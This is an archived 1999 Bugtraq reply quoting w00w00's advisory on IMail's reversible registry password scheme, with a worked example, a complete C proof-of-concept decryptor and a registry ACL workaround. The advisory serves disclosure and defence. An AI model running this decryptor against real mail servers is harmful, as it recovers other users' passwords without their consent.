Re: [w00giving '99 #11] IMail's password encryption scheme

From: Benjamin Congdon (bencat_private)
Date: Wed Dec 22 1999 - 16:54:51 PST

  • Next message: Ussr Labs: "Local / Remote GET Buffer Overflow Vulnerability in ZBServer 1.5"

    Actually I wrote some code in perl to decrypt passwords.  It was posted to
    the IPSwitch mailing list to which nothing was even said by their tech
    support.  Apparently this "issue" has been around since some of the
    earliest versions.
    
    This was originally spotted nearly two years ago.
    
    -Ben C
    
    Senior NT Systems Administrator
    WebHosting.Com
    
    At 02:40 PM 12/21/99 -0600, you wrote:
    >Ipswitch doesn't seem to get the point.  This scheme is is only slightly
    >different than their old one(for version 4.X) which I released an advisory
    >about many months ago.
    >
    >-steven
    >
    >----- Original Message -----
    >From: Matt Conover <shokat_private>
    >To: <BUGTRAQat_private>
    >Sent: Monday, December 20, 1999 11:09 PM
    >Subject: [w00giving '99 #11] IMail's password encryption scheme
    >
    >
    > > In case we don't have the other advisories prepared in time:
    > > Merry Christmas, Happy Hanukkah, and Happy New Years!
    > >
    > > w00w00 Security Development (WSD)
    > > http://www.w00w00.org/advisories.html
    > >
    > > --------------------------------------------------------------------------
    >-
    > > Discovered by: Mike Davis (mikeat_private)
    > >
    > > DESCRIPTION
    > > IMail is (among others) a POP3 daemon for Microsoft Windows NT.  Any user
    > > who can login to the machine with the IMail database can also retrieve the
    > > encrypted passwords for ANY user. All they need to do is open a registry
    > > editor (i.e., regedit.exe).
    > >
    > > TECHNICAL DETAILS
    > > The IMail database is really just registry keys.  The IMail server stores
    > > all users in the registry under:
    > >   HKEY_LOCAL_MACHINE\SOFTWARE\Ipswitch\IMail\Domains\
    > >   <DOMAINNAME>\Users\<USERNAME>
    > >
    > > [Where DOMAINNAME is the name of the domain the POP3 server is serving and
    > >  USERNAME is the user.]
    > >
    > > Within that key is an string value named 'Password' which contains the
    > > encrypted copy of the password.
    > >
    > > VERSIONS AFFECTED
    > > I test 5.0 through 5.08 and assume anything less than 5.0 is also
    > > vulnerable.
    > >
    > > ENCRYPTION SCHEME
    > > Take the lowercase of the account name, split it up by letter and convert
    > > each letter to its ASCII equivalent.  Next, find the difference between
    > > each letter and the first letter.  Take each letter of the password, find
    > > it's ASCII equivalent and add the offset (ASCII value of first char of the
    > > account name minus 97) then subtract the corresponding difference.  Use
    > > the differences recursively if the password length is greater than the
    > > length of the account name.  This gives you the character's new ASCII
    > > value.  Next, Look it up the new ASCII value in the ASCII-ENCRYPTED
    > > table (see Appendix I) and you now have the encrypted letter.
    > >
    > > Example:
    > >
    > > Account Name: mike
    > > m = 109
    > > i = 105
    > > k = 107
    > > e = 101
    > >
    > > Differences:
    > > First - First: 0
    > > First - Second: 4
    > > First - Third: 2
    > > First - Fourth: 8
    > >
    > > Unencrypted Password: rocks
    > > r = 114
    > > o = 111
    > > c = 99
    > > k = 107
    > > s = 115
    > >
    > > (ASCII value + offset) - difference:
    > > offset: (109 - 97) = 12
    > > (114 + 12) - 0 = 126
    > > (111 + 12) - 4 =  119
    > > (99 + 12) - 2 = 109
    > > (107 + 12) - 8 = 111
    > > (115 + 12) - 0 = 127
    > >
    > > 126 = DF
    > > 119 = D8
    > > 109 = CE
    > > 111 = D0
    > > 127 = E0
    > >
    > > Encrypted Password: DFD8CED0E0
    > >
    > > The decryption scheme is a little easier.  First, like the encryption
    > > scheme, take the account name, split it up by letter and convert each
    >letter
    > > to its ASCII equivalent. Next, find the difference between each letter and
    > > the first letter. Now split the encrypted password by two characters
    > > (e.g., EFDE = EF DE) then look up their ASCII equivalent within the
    > > ASCII-ENCRYPTED table (see Appendix I).  Take that ASCII value and add the
    > > corresponding difference.Look this value up in the ascii table.  This
    > > table is made by taking the ASCII value of the first character of the
    > > account name and setting it equal to 'a'.
    > >
    > > EXAMPLE
    > >
    > > Account Name: mike
    > > m = 109
    > > i = 105
    > > k = 107
    > > e = 101
    > >
    > > Differences:
    > > First - First: 0
    > > First - Second: 4
    > > First - Third: 2
    > > First - Fourth: 8
    > >
    > > Encrypted Password: DFD8CED0E0
    > > DF = 126
    > > D8 = 119
    > > CE = 109
    > > D0 = 111
    > > E0 = 127
    > >
    > > Add Difference:
    > >
    > > 126 + 0 = 126
    > > 119 + 4 = 123
    > > 109 + 2 = 111
    > > 111 + 8 = 119
    > > 127 + 0 = 127
    > >
    > > Look up in table (see Appendix II):
    > > 126 = r
    > > 123 = o
    > > 111 = c
    > > 119 = k
    > > 127 = s
    > >
    > > Unencrypted Password: rocks
    > >
    > > Where to find appendixes:
    > >
    > > Because they took up so much space, we put them in a separate file located
    > > at: http://www.w00w00.org/imail_map.txt.  They include the mappings of all
    > > characters.
    > >
    > > --------------------------------------------------------------------------
    >-
    > > Proof-of-concept code (by Mike):
    > >
    > > /*
    > >  * IMail password decryptor
    > >  * By: Mike Davis (mikeat_private)
    > >  *
    > >  * Thanks to Marc and Jason for testing and their general eliteness.
    > >  * Usage: imaildec <account name> <encrypted password>
    > >  *
    > >  */
    > >
    > >
    > > #include <stdio.h>
    > > #include <stdlib.h>
    > > #include <memory.h>
    > >
    > > void usage (char *);
    > > int search (char *);
    > > int eql (char *, char *);
    > > int lc (int);
    > > int strlen();
    > >
    > > struct
    > > {
    > >   char *string;
    > >   int o;
    > > } hashtable[255];
    > >
    > > struct { char *string; } encrypted[60];
    > >
    > > char *list = "0123456789ABCDEF";
    > >
    > > int alpha[95] = {
    > >   32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49,
    > >   50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67,
    > >   68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85,
    > >   86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102,
    > >   103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116,
    > >   117, 118, 119, 120, 121, 122, 123, 124, 125, 126
    > > };
    > >
    > > int
    > > main (int argc, char *argv[])
    > > {
    > >   int i, j, k, ascii, start, diffs[66], num, loop;
    > >   char asciic[155];
    > >
    > >   if (argc <= 2 || argc > 3) usage (argv[0]);
    > >   if (strlen (argv[2]) > 62)
    > >   {
    > >      printf ("\nERROR: Please enter an encrypted password less than 60 "
    > >              "characters.\n\n");
    > >
    > >      usage (argv[0]);
    > >   }
    > >
    > >   printf ("IMail password decryptor\nBy: Mike <Mikeat_private>\n\n");
    > >
    > >   ascii = -97;
    > >
    > >   /* Make the hash table we will need to refer to. */
    > >   for (i = 0, start = 0; i < strlen (list); i++)
    > >   {
    > >      for (k = 0; k < strlen (list); k++)
    > >      {
    > >         hashtable[start].string = (char *) malloc (3);
    > >         sprintf (hashtable[start].string, "%c%c", list[i], list[k]);
    > >         hashtable[start].o = ascii++;
    > >
    > >         /* Don't want to skip one! */
    > >         if ((k + 1) != strlen (list)) start++;
    > >      }
    > >
    > >      start++;
    > >   }
    > >
    > >   for (k = 0, start = 0; k < strlen (argv[1]); k += strlen (argv[1]))
    > >   {
    > >      for (j = k; j < k + strlen (argv[2]); j += 2, start++)
    > >      {
    > >         encrypted[start].string = (char *) malloc (3);
    > >         sprintf (encrypted[start].string, "%c%c", argv[2][j],
    > >                  argv[2][j + 1]);
    > >      }
    > >   }
    > >
    > >   for (j = 0, start = 0; j < strlen(argv[2]) / strlen(argv[1]); j++)
    > >      for (i = 0; i < strlen (argv[1]); i++, start++)
    > >         diffs[start] = (lc(argv[1][0]) - lc(argv[1][i]));
    > >
    > >   printf ("Account Name: %s\n", argv[1]);
    > >
    > >   printf ("Encrypted: ");
    > >   for (i = 0; i < strlen (argv[2]) / 2; i++) printf ("%s", encrypted[i]);
    > >   putchar('\n');
    > >
    > >   printf ("Unencrypted: ");
    > >   for (i = 0, loop = 0; i < strlen (argv[2]) / 2; i++, loop++)
    > >   {
    > >      num = search (encrypted[i].string) + diffs[i];
    > >      if (loop == 0)
    > >      {
    > >         /* Make alphabet */
    > >         for (j = lc (argv[1][0]) - 65, start = 0;
    > >              j <= lc (argv[1][0]) + 29;
    > >              j++, start++)
    > >         {
    > >            asciic[j] = alpha[start];
    > >         }
    > >      }
    > >
    > >      putchar(asciic[num]);
    > >   }
    > >
    > >   putchar('\n');
    > >   return 0;
    > > }
    > >
    > > int
    > > search (char *term)
    > > {
    > >   register int n;
    > >
    > >   for (n = 0; n < 255; n++)
    > >      if (hashtable[n].string && eql (hashtable[n].string, term))
    > >         return hashtable[n].o;
    > >
    > >   return 0;
    > > }
    > >
    > > int
    > > eql (char *first, char *second)
    > > {
    > >   register int i;
    > >   for (i = 0; first[i] && (first[i] == second[i]); i++);
    > >
    > >   return (first[i] == second[i]);
    > > }
    > >
    > > int
    > > lc (int letter)
    > > {
    > >   if (letter >= 'A' && letter <= 'Z') return letter + 'a' - 'A';
    > >   else return letter;
    > > }
    > >
    > > void
    > > usage (char *name)
    > > {
    > >
    > >   printf ("IMail password decryptor\n");
    > >   printf ("By: Mike (Mikeat_private)\n\n");
    > >   printf ("Usage: %s <account name> <encrypted string>\n", name);
    > >   printf ("E.g., %s crypto CCE5DFE5E2\n", name);
    > >   exit (0);
    > > }
    > >
    > > --------------------------------------------------------------------------
    >-
    > > Patch:
    > >
    > > Ipswitch was notified of this advisory last week, and they have not
    > > responded.  They released a never version afterwards, but we cannot
    > > confirm whether or not this latest version, 6.01 fixes the vulnerability.
    > > Their site says:
    > >   This patch fixes problems with POP server and IAdmin application,
    > >   including external database authentication problems and possible
    > >   password corruption problems.
    > >
    > > Until we have positive confirmation, you can set an ACL on each registry
    > > key containing the password to prevent normal users (while still allowing
    > > IMail) from viewing other users' passwords.  You are safe to remove read
    > > permissions on these registry keys--they will not affect IMail (as it
    > > doesn't run with user privileges).
    > >
    > > --------------------------------------------------------------------------
    >-
    > > People that deserve hellos: eEye, USSR, and Interrupt
    > >
    > > w00sites:
    > > http://www.attrition.org
    > > http://www.eEye.com
    > > http://www.ussrback.com
    > >
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:23:10 PDT